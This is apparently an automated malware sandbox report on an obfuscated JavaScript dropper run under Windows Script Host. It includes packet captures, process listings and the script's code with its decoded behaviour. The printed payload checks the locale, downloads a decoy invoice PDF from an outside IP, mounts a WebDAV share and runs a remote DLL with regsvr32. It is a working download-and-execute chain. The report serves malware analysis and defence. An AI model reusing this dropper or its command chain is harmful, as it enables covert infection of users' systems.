Jan 11, 2025 06:28:58.677395105 CET	672	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:28:58.677406073 CET	1236	IN	Data Raw: 94 ab 8f 0d 3d f5 c7 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 Data Ascii: =C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`
Jan 11, 2025 06:28:58.677417040 CET	1236	IN	Data Raw: 60 13 36 7a 73 c3 ce 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 Data Ascii: `6zs(?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y
Jan 11, 2025 06:28:58.677439928 CET	211	IN	Data Raw: 32 c5 d0 bb 14 43 8f 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d Data Ascii: 2Cn1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X
Jan 11, 2025 06:28:58.677469969 CET	1236	IN	Data Raw: 3c 30 f4 21 1d 18 fa 74 7b db e4 c8 f6 c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f Data Ascii: <0!t{&1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 06:28:58.677490950 CET	224	IN	Data Raw: 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 Data Ascii: 4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~I
Jan 11, 2025 06:28:58.677501917 CET	1236	IN	Data Raw: 69 e5 e4 94 2f 4d b9 f4 93 7a 4a 2a 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca Data Ascii: i/MzJ>)kz{~YjREsI4Y>ju:%QSisA\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%
Jan 11, 2025 06:28:58.682476044 CET	1236	IN	Data Raw: d5 81 a1 3a 86 36 07 86 de 3c 5e 5f 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e Data Ascii: :6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6536	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:29:00.455157995 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:29:01.237499952 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:29:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:28:53
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js"
Imagebase:	0x7ff632590000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:28:53
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Imagebase:	0x7ff7db100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:28:53
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:28:53
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:28:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:28:59
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7db100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:28:59
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c3eb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:28:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:28:59
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:29:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1736,i,9463198681021294956,11538559822545005153,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kulmgz() {	kulmgz() ➔ undefined
1	ujrwmnff = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var reuwjoh = this[jkbrpaav + fnbsojyi + bahpkfqn + snjixyvxt + csvrl + biqvyugwm + awzznyhc + kalpnvxe] ( this[czudywl + otpgctnzp + rsegmh + bahpkfqn + jnhozdj + jkbrpaav + kalpnvxe][ymfvw + bahpkfqn + csvrl + fnbsojyi + kalpnvxe + csvrl + vofmjbhow + slotyclg + orymdup + csvrl + rsegmh + kalpnvxe] ( czudywl + otpgctnzp + rsegmh + bahpkfqn + jnhozdj + jkbrpaav + kalpnvxe + vcltiehpb + otpgctnzp + xadya + csvrl + qufnzfu + qufnzfu ) [eszerl + csvrl + tsvbyj + eszerl + csvrl + fnbsojyi + eajfqfp] ( iexfyhioj + mnxnlqsg + baoiorprf + fesfeyr + cgatms + ymfvw + diqatidl + eszerl + eszerl + baoiorprf + ivqbyn + bbdidacm + cgatms + diqatidl + otpgctnzp + baoiorprf + eszerl + hcwna + ymfvw + zfjemhnj + awzznyhc + kalpnvxe + bahpkfqn + zfjemhnj + qufnzfu + ysnvbd + akhoc + fnbsojyi + awzznyhc + csvrl + qufnzfu + hcwna + biqvyugwm + awzznyhc + kalpnvxe + csvrl + bahpkfqn + awzznyhc + fnbsojyi + kalpnvxe + jnhozdj + zfjemhnj + awzznyhc + fnbsojyi + qufnzfu + hcwna + gruzrqv + zfjemhnj + rsegmh + fnbsojyi + qufnzfu + csvrl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vqhmbdh = 0 ; vqhmbdh < ujrwmnff[qufnzfu + csvrl + awzznyhc + tsvbyj + kalpnvxe + xadya] ; ++ vqhmbdh )
4	{
5	if ( reuwjoh == ujrwmnff[vqhmbdh] )
6	{
7	reuwjoh = true;
8	break ;
9	}
10	}
11	if ( reuwjoh !== true )
12	this[czudywl + otpgctnzp + rsegmh + bahpkfqn + jnhozdj + jkbrpaav + kalpnvxe][vipwq + vdjczx + jnhozdj + kalpnvxe] ( );
13	this[czudywl + otpgctnzp + rsegmh + bahpkfqn + jnhozdj + jkbrpaav + kalpnvxe][ymfvw + bahpkfqn + csvrl + fnbsojyi + kalpnvxe + csvrl + vofmjbhow + slotyclg + orymdup + csvrl + rsegmh + kalpnvxe] ( czudywl + otpgctnzp + rsegmh + bahpkfqn + jnhozdj + jkbrpaav + kalpnvxe + vcltiehpb + otpgctnzp + xadya + csvrl + qufnzfu + qufnzfu ) [bahpkfqn + vdjczx + awzznyhc] ( rsegmh + iljdrjok + eajfqfp + ysnvbd + bdplvz + rsegmh + ysnvbd + jkbrpaav + zfjemhnj + afosumezx + csvrl + bahpkfqn + snjixyvxt + xadya + csvrl + qufnzfu + qufnzfu + vcltiehpb + csvrl + xqalpgjg + csvrl + ysnvbd + mxofpqtbx + ymfvw + zfjemhnj + iljdrjok + iljdrjok + fnbsojyi + awzznyhc + eajfqfp + ysnvbd + rimdta + biqvyugwm + awzznyhc + axrsfoqfx + zfjemhnj + yxgeiurcf + csvrl + mxofpqtbx + czudywl + csvrl + slotyclg + eszerl + csvrl + fhnaypew + vdjczx + csvrl + snjixyvxt + kalpnvxe + ysnvbd + mxofpqtbx + vofmjbhow + vdjczx + kalpnvxe + gjrqkicz + jnhozdj + qufnzfu + csvrl + ysnvbd + gplfqvp + kalpnvxe + csvrl + iljdrjok + jkbrpaav + gplfqvp + hcwna + jnhozdj + awzznyhc + axrsfoqfx + zfjemhnj + jnhozdj + rsegmh + csvrl + vcltiehpb + jkbrpaav + eajfqfp + ipbzyml + ysnvbd + xadya + kalpnvxe + kalpnvxe + jkbrpaav + qzgihnkyv + bdplvz + bdplvz + hzqzg + ykbrtwmo + qnuhq + vcltiehpb + hzqzg + tqzlkprts + qnuhq + vcltiehpb + hzqzg + vcltiehpb + zbinvy + jztezhxcy + etuoidip + bdplvz + jnhozdj + awzznyhc + axrsfoqfx + zfjemhnj + jnhozdj + rsegmh + csvrl + vcltiehpb + jkbrpaav + xadya + jkbrpaav + rimdta + tlnagrhsa + tlnagrhsa + snjixyvxt + kalpnvxe + fnbsojyi + bahpkfqn + kalpnvxe + ysnvbd + gplfqvp + kalpnvxe + csvrl + iljdrjok + jkbrpaav + gplfqvp + hcwna + jnhozdj + awzznyhc + axrsfoqfx + zfjemhnj + jnhozdj + rsegmh + csvrl + vcltiehpb + jkbrpaav + eajfqfp + ipbzyml + tlnagrhsa + tlnagrhsa + rsegmh + iljdrjok + eajfqfp + ysnvbd + bdplvz + rsegmh + ysnvbd + awzznyhc + csvrl + kalpnvxe + ysnvbd + vdjczx + snjixyvxt + csvrl + ysnvbd + hcwna + hcwna + hzqzg + ykbrtwmo + qnuhq + vcltiehpb + hzqzg + tqzlkprts + qnuhq + vcltiehpb + hzqzg + vcltiehpb + zbinvy + jztezhxcy + etuoidip + jayjxqj + yibsss + yibsss + yibsss + yibsss + hcwna + eajfqfp + fnbsojyi + axrsfoqfx + afosumezx + afosumezx + afosumezx + bahpkfqn + zfjemhnj + zfjemhnj + kalpnvxe + hcwna + tlnagrhsa + tlnagrhsa + rsegmh + iljdrjok + eajfqfp + ysnvbd + bdplvz + rsegmh + ysnvbd + bahpkfqn + csvrl + tsvbyj + snjixyvxt + axrsfoqfx + bahpkfqn + qnuhq + zbinvy + ysnvbd + bdplvz + snjixyvxt + ysnvbd + hcwna + hcwna + hzqzg + ykbrtwmo + qnuhq + vcltiehpb + hzqzg + tqzlkprts + qnuhq + vcltiehpb + hzqzg + vcltiehpb + zbinvy + jztezhxcy + etuoidip + jayjxqj + yibsss + yibsss + yibsss + yibsss + hcwna + eajfqfp + fnbsojyi + axrsfoqfx + afosumezx + afosumezx + afosumezx + bahpkfqn + zfjemhnj + zfjemhnj + kalpnvxe + hcwna + ksqkpe + ykbrtwmo + ksqkpe + qnuhq + zbinvy + hjgec + yibsss + ykbrtwmo + etuoidip + zbinvy + ykbrtwmo + etuoidip + ksqkpe + jztezhxcy + vcltiehpb + eajfqfp + qufnzfu + qufnzfu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll",0,false) ➔ 0
14	}
15	diqatidl = "j";
16	diqatidl = "E";
17	diqatidl = "z";
18	diqatidl = "E";
19	diqatidl = "a";
20	diqatidl = "x";
21	diqatidl = "z";
22	diqatidl = "I";
23	diqatidl = "O";
24	diqatidl = "P";
25	diqatidl = "f";
26	diqatidl = "K";
27	diqatidl = "u";
28	diqatidl = "H";
29	diqatidl = "B";
30	diqatidl = "N";
31	diqatidl = "U";
32	ivqbyn = "m";
33	ivqbyn = "h";
34	ivqbyn = "d";
35	ivqbyn = "W";
36	ivqbyn = "O";
37	ivqbyn = "B";
38	ivqbyn = "W";
39	ivqbyn = "J";
40	ivqbyn = "c";
41	ivqbyn = "Z";
42	ivqbyn = "N";
43	rsegmh = "K";
44	rsegmh = "I";
45	rsegmh = "A";
46	rsegmh = "s";
47	rsegmh = "n";
48	rsegmh = "a";
49	rsegmh = "Q";
50	rsegmh = "J";
51	rsegmh = "x";
52	rsegmh = "A";
53	rsegmh = "e";
54	rsegmh = "S";
55	rsegmh = "U";
56	rsegmh = "M";
57	rsegmh = "p";
58	rsegmh = "M";
59	rsegmh = "F";
60	rsegmh = "K";
61	rsegmh = "M";
62	rsegmh = "G";
63	rsegmh = "b";
64	rsegmh = "q";
65	rsegmh = "V";
66	rsegmh = "r";
67	rsegmh = "x";
68	rsegmh = "Z";
69	rsegmh = "S";
70	rsegmh = "I";
71	rsegmh = "i";
72	rsegmh = "Z";
73	rsegmh = "c";
74	rsegmh = "I";
75	rsegmh = "H";
76	rsegmh = "H";
77	rsegmh = "y";
78	rsegmh = "x";
79	rsegmh = "z";
80	rsegmh = "P";
81	rsegmh = "c";
82	vipwq = "K";
83	vipwq = "Y";
84	vipwq = "v";
85	vipwq = "e";
86	vipwq = "X";
87	vipwq = "P";
88	vipwq = "F";
89	vipwq = "c";
90	vipwq = "X";
91	vipwq = "V";
92	vipwq = "C";
93	vipwq = "o";
94	vipwq = "P";
95	vipwq = "R";
96	vipwq = "s";
97	vipwq = "Z";
98	vipwq = "j";
99	vipwq = "k";
100	vipwq = "P";
101	vipwq = "w";
102	vipwq = "Q";
103	yxgeiurcf = "R";
104	yxgeiurcf = "F";
105	yxgeiurcf = "W";
106	yxgeiurcf = "A";
107	yxgeiurcf = "M";
108	yxgeiurcf = "r";
109	yxgeiurcf = "w";
110	yxgeiurcf = "x";
111	yxgeiurcf = "i";
112	yxgeiurcf = "R";
113	yxgeiurcf = "g";
114	yxgeiurcf = "P";
115	yxgeiurcf = "p";
116	yxgeiurcf = "j";
117	yxgeiurcf = "W";
118	yxgeiurcf = "Z";
119	yxgeiurcf = "m";
120	yxgeiurcf = "u";
121	yxgeiurcf = "k";
122	yxgeiurcf = "c";
123	yxgeiurcf = "G";
124	yxgeiurcf = "g";
125	yxgeiurcf = "T";
126	yxgeiurcf = "Q";
127	yxgeiurcf = "g";
128	yxgeiurcf = "T";
129	yxgeiurcf = "Y";
130	yxgeiurcf = "A";
131	yxgeiurcf = "d";
132	yxgeiurcf = "I";
133	yxgeiurcf = "u";
134	yxgeiurcf = "r";
135	yxgeiurcf = "b";
136	yxgeiurcf = "J";
137	yxgeiurcf = "R";
138	yxgeiurcf = "D";
139	yxgeiurcf = "k";
140	vofmjbhow = "G";
141	vofmjbhow = "D";
142	vofmjbhow = "l";
143	vofmjbhow = "L";
144	vofmjbhow = "I";
145	vofmjbhow = "x";
146	vofmjbhow = "k";
147	vofmjbhow = "D";
148	vofmjbhow = "o";
149	vofmjbhow = "R";
150	vofmjbhow = "R";
151	vofmjbhow = "H";
152	vofmjbhow = "y";
153	vofmjbhow = "I";
154	vofmjbhow = "e";
155	vofmjbhow = "w";
156	vofmjbhow = "l";
157	vofmjbhow = "s";
158	vofmjbhow = "s";
159	vofmjbhow = "S";
160	vofmjbhow = "B";
161	vofmjbhow = "l";
162	vofmjbhow = "B";
163	vofmjbhow = "G";
164	vofmjbhow = "q";
165	vofmjbhow = "O";
166	kalpnvxe = "I";
167	kalpnvxe = "E";
168	kalpnvxe = "H";
169	kalpnvxe = "P";
170	kalpnvxe = "k";
171	kalpnvxe = "r";
172	kalpnvxe = "c";
173	kalpnvxe = "t";
174	xadya = "l";
175	xadya = "n";
176	xadya = "a";
177	xadya = "m";
178	xadya = "k";
179	xadya = "i";
180	xadya = "D";
181	xadya = "n";
182	xadya = "m";
183	xadya = "H";
184	xadya = "r";
185	xadya = "b";
186	xadya = "x";
187	xadya = "g";
188	xadya = "P";
189	xadya = "C";
190	xadya = "s";
191	xadya = "q";
192	xadya = "M";
193	xadya = "M";
194	xadya = "Q";
195	xadya = "q";
196	xadya = "Q";
197	xadya = "q";
198	xadya = "Z";
199	xadya = "W";
200	xadya = "W";
201	xadya = "U";
202	xadya = "n";
203	xadya = "e";
204	xadya = "I";
205	xadya = "j";
206	xadya = "n";
207	xadya = "J";
208	xadya = "d";
209	xadya = "h";
210	xadya = "u";
211	xadya = "b";
212	xadya = "W";
213	xadya = "Q";
214	xadya = "t";
215	xadya = "l";
216	xadya = "h";
217	baoiorprf = "G";
218	baoiorprf = "b";
219	baoiorprf = "b";
220	baoiorprf = "K";
221	baoiorprf = "g";
222	baoiorprf = "J";
223	baoiorprf = "J";
224	baoiorprf = "D";
225	baoiorprf = "O";
226	baoiorprf = "C";
227	baoiorprf = "m";
228	baoiorprf = "Y";
229	baoiorprf = "R";
230	baoiorprf = "W";
231	baoiorprf = "c";
232	baoiorprf = "r";
233	baoiorprf = "h";
234	baoiorprf = "i";
235	baoiorprf = "t";
236	baoiorprf = "W";
237	baoiorprf = "C";
238	baoiorprf = "w";
239	baoiorprf = "w";
240	baoiorprf = "C";
241	baoiorprf = "z";
242	baoiorprf = "d";
243	baoiorprf = "T";
244	baoiorprf = "W";
245	baoiorprf = "V";
246	baoiorprf = "E";
247	baoiorprf = "J";
248	baoiorprf = "w";
249	baoiorprf = "R";
250	baoiorprf = "R";
251	baoiorprf = "G";
252	baoiorprf = "E";
253	otpgctnzp = "i";
254	otpgctnzp = "t";
255	otpgctnzp = "t";
256	otpgctnzp = "Y";
257	otpgctnzp = "n";
258	otpgctnzp = "K";
259	otpgctnzp = "U";
260	otpgctnzp = "l";
261	otpgctnzp = "w";
262	otpgctnzp = "D";
263	otpgctnzp = "u";
264	otpgctnzp = "I";
265	otpgctnzp = "V";
266	otpgctnzp = "g";
267	otpgctnzp = "U";
268	otpgctnzp = "M";
269	otpgctnzp = "a";
270	otpgctnzp = "w";
271	otpgctnzp = "S";
272	zfjemhnj = "j";
273	zfjemhnj = "d";
274	zfjemhnj = "E";
275	zfjemhnj = "F";
276	zfjemhnj = "u";
277	zfjemhnj = "r";
278	zfjemhnj = "D";
279	zfjemhnj = "s";
280	zfjemhnj = "b";
281	zfjemhnj = "Q";
282	zfjemhnj = "e";
283	zfjemhnj = "x";
284	zfjemhnj = "g";
285	zfjemhnj = "u";
286	zfjemhnj = "h";
287	zfjemhnj = "M";
288	zfjemhnj = "a";
289	zfjemhnj = "n";
290	zfjemhnj = "J";
291	zfjemhnj = "t";
292	zfjemhnj = "P";
293	zfjemhnj = "n";
294	zfjemhnj = "u";
295	zfjemhnj = "k";
296	zfjemhnj = "E";
297	zfjemhnj = "x";
298	zfjemhnj = "Q";
299	zfjemhnj = "N";
300	zfjemhnj = "u";
301	zfjemhnj = "B";
302	zfjemhnj = "e";
303	zfjemhnj = "z";
304	zfjemhnj = "h";
305	zfjemhnj = "S";
306	zfjemhnj = "j";
307	zfjemhnj = "t";
308	zfjemhnj = "o";
309	mxofpqtbx = "W";
310	mxofpqtbx = "A";
311	mxofpqtbx = "v";
312	mxofpqtbx = "r";
313	mxofpqtbx = "T";
314	mxofpqtbx = "-";
315	axrsfoqfx = "H";
316	axrsfoqfx = "Z";
317	axrsfoqfx = "K";
318	axrsfoqfx = "i";
319	axrsfoqfx = "o";
320	axrsfoqfx = "e";
321	axrsfoqfx = "E";
322	axrsfoqfx = "z";
323	axrsfoqfx = "a";
324	axrsfoqfx = "N";
325	axrsfoqfx = "e";
326	axrsfoqfx = "K";
327	axrsfoqfx = "i";
328	axrsfoqfx = "o";
329	axrsfoqfx = "t";
330	axrsfoqfx = "c";
331	axrsfoqfx = "g";
332	axrsfoqfx = "k";
333	axrsfoqfx = "u";
334	axrsfoqfx = "v";
335	axrsfoqfx = "v";
336	axrsfoqfx = "i";
337	axrsfoqfx = "U";
338	axrsfoqfx = "O";
339	axrsfoqfx = "u";
340	axrsfoqfx = "A";
341	axrsfoqfx = "O";
342	axrsfoqfx = "d";
343	axrsfoqfx = "e";
344	axrsfoqfx = "X";
345	axrsfoqfx = "W";
346	axrsfoqfx = "z";
347	axrsfoqfx = "x";
348	axrsfoqfx = "g";
349	axrsfoqfx = "j";
350	axrsfoqfx = "H";
351	axrsfoqfx = "V";
352	axrsfoqfx = "v";
353	jkbrpaav = "T";
354	jkbrpaav = "b";
355	jkbrpaav = "E";
356	jkbrpaav = "A";
357	jkbrpaav = "D";
358	jkbrpaav = "N";
359	jkbrpaav = "j";
360	jkbrpaav = "b";
361	jkbrpaav = "l";
362	jkbrpaav = "F";
363	jkbrpaav = "d";
364	jkbrpaav = "u";
365	jkbrpaav = "M";
366	jkbrpaav = "I";
367	jkbrpaav = "D";
368	jkbrpaav = "N";
369	jkbrpaav = "Z";
370	jkbrpaav = "B";
371	jkbrpaav = "k";
372	jkbrpaav = "u";
373	jkbrpaav = "g";
374	jkbrpaav = "X";
375	jkbrpaav = "b";
376	jkbrpaav = "j";
377	jkbrpaav = "q";
378	jkbrpaav = "p";
379	ysnvbd = "H";
380	ysnvbd = "L";
381	ysnvbd = "t";
382	ysnvbd = "d";
383	ysnvbd = "q";
384	ysnvbd = "g";
385	ysnvbd = "w";
386	ysnvbd = "W";
387	ysnvbd = "X";
388	ysnvbd = "d";
389	ysnvbd = "j";
390	ysnvbd = "t";
391	ysnvbd = "P";
392	ysnvbd = "U";
393	ysnvbd = "S";
394	ysnvbd = "y";
395	ysnvbd = " ";
396	eszerl = "j";
397	eszerl = "T";
398	eszerl = "L";
399	eszerl = "S";
400	eszerl = "w";
401	eszerl = "A";
402	eszerl = "r";
403	eszerl = "w";
404	eszerl = "Q";
405	eszerl = "s";
406	eszerl = "I";
407	eszerl = "z";
408	eszerl = "a";
409	eszerl = "m";
410	eszerl = "K";
411	eszerl = "R";
412	csvrl = "W";
413	csvrl = "e";
414	csvrl = "f";
415	csvrl = "F";
416	csvrl = "e";
417	csvrl = "L";
418	csvrl = "A";
419	csvrl = "Y";
420	csvrl = "E";
421	csvrl = "V";
422	csvrl = "l";
423	csvrl = "j";
424	csvrl = "i";
425	csvrl = "k";
426	csvrl = "D";
427	csvrl = "d";
428	csvrl = "h";
429	csvrl = "I";
430	csvrl = "E";
431	csvrl = "e";
432	eajfqfp = "K";
433	eajfqfp = "t";
434	eajfqfp = "N";
435	eajfqfp = "d";
436	yibsss = "w";
437	yibsss = "j";
438	yibsss = "S";
439	yibsss = "o";
440	yibsss = "s";
441	yibsss = "R";
442	yibsss = "m";
443	yibsss = "P";
444	yibsss = "e";
445	yibsss = "r";
446	yibsss = "Q";
447	yibsss = "E";
448	yibsss = "B";
449	yibsss = "p";
450	yibsss = "Z";
451	yibsss = "V";
452	yibsss = "u";
453	yibsss = "K";
454	yibsss = "q";
455	yibsss = "Z";
456	yibsss = "v";
457	yibsss = "w";
458	yibsss = "P";
